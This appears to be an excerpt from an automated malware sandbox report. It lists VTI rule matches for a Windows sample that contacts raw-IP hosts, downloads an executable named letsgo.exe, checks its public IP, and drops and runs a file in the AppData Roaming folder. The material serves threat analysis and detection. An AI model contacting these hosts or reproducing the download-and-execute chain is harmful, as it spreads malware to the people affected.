URL "77.244.219.151/store?steepl=aiplau&sauf=iesay".
Downloads data
Network
VTI rule match with VTI rule score 2/5
vmray_download_data_http_request
URL "77.244.219.151/eighph?soref=eezaui".
Downloads data
Network
VTI rule match with VTI rule score 2/5
establish_http_connection
URL "ipv4bot.whatismyipaddress.com/".
Connects to HTTP server
Network
VTI rule match with VTI rule score 2/5
establish_http_connection
URL "77.244.219.151/eighge".
Connects to HTTP server
Network
VTI rule match with VTI rule score 2/5
establish_http_connection
URL "77.244.219.151/store?steepl=aiplau&sauf=iesay".
Connects to HTTP server
Network
VTI rule match with VTI rule score 2/5
establish_http_connection
URL "92.63.197.38/letsgo.exe?LbPUer".
Connects to HTTP server
Network
VTI rule match with VTI rule score 2/5
establish_http_connection
URL "77.244.219.151/eighph?soref=eezaui".
Connects to HTTP server
Network
VTI rule match with VTI rule score 2/5
establish_http_connection
URL "77.244.219.151/seyst".
Connects to HTTP server
PE
VTI rule match with VTI rule score 2/5
vmray_drop_pe_file
Drops file "c:\users\nd9e1fyi\appdata\roamingqtp35.exe".
Drops PE file
PE
VTI rule match with VTI rule score 4/5
vmray_execute_dropped_pe_file
Executes dropped file "c:\users\nd9e1fyi\appdata\roamingqtp35.exe".
Executes dropped PE file